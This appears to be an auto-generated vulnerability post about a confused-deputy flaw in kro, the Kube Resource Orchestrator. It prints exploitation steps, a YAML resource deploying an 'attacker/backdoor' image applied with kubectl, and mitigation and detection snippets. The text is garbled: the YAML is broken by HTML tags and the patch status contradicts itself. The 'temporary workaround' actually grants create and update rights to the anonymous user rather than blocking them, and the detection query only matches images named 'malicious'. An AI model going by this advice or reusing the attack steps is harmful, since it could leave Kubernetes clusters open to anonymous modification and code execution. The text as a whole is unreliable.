Listen to this Post
How the CVE Works:
The vulnerability in kro (Kube Resource Orchestrator) arises due to improper validation of user-supplied container images in ResourceGraphDefinition resources. Attackers with permissions to create or modify these resources can inject malicious container images. Since kro’s controllers automatically deploy these images, the system inadvertently executes attacker-controlled code on Kubernetes cluster nodes. This confused deputy scenario occurs because kro misattributes trust, allowing unauthorized remote code execution under the cluster’s service account context.
DailyCVE Form:
Platform: kro (Kube Resource Orchestrator)
Version: 0.1.0 to 0.2.0
Vulnerability: Confused Deputy
Severity: Moderate
Date: Jun 5, 2025
Prediction: Patch expected by Jun 20, 2025
What Undercode Say:
Exploitation:
- Attacker crafts malicious ResourceGraphDefinition with a rogue image:
apiVersion: kro.example.com/v1 kind: ResourceGraphDefinition metadata: name: malicious-rgd spec: containers:</li> </ol> - image: attacker/backdoor:latest
2. Apply the resource via `kubectl`:
kubectl apply -f malicious-rgd.yaml
3. kro controllers deploy the image, executing attacker payloads.
Mitigation:
1. Restrict RBAC permissions for ResourceGraphDefinition modifications.
2. Implement admission controllers to validate images:
func validateImage(reference string) error { if !strings.HasPrefix(reference, "trusted-registry/") { return errors.New("untrusted image source") } return nil }
3. Update to kro 0.2.1 or later.
Detection Commands:
- List vulnerable ResourceGraphDefinitions:
kubectl get resourcegraphdefinitions --all-namespaces -o json | jq '.items[] | select(.spec.containers[].image | test("malicious"))'
- Audit cluster events for suspicious deployments:
kubectl get events --field-selector involvedObject.kind=ResourceGraphDefinition
Analytics:
- Attack Surface: Kubernetes clusters with kro 0.1.0–0.2.0.
- Impact: Cluster node compromise via RCE.
- Patch Priority: High for multi-tenant clusters.
Temporary Workaround:
kubectl create clusterrole block-rgd-modify --verb=create,update --resource=resourcegraphdefinitions kubectl create clusterrolebinding deny-rgd --clusterrole=block-rgd-modify --user=anonymous
Sources:
Reported By: github.com
Extra Source Hub:
UndercodeJoin Our Cyber World:
- List vulnerable ResourceGraphDefinitions: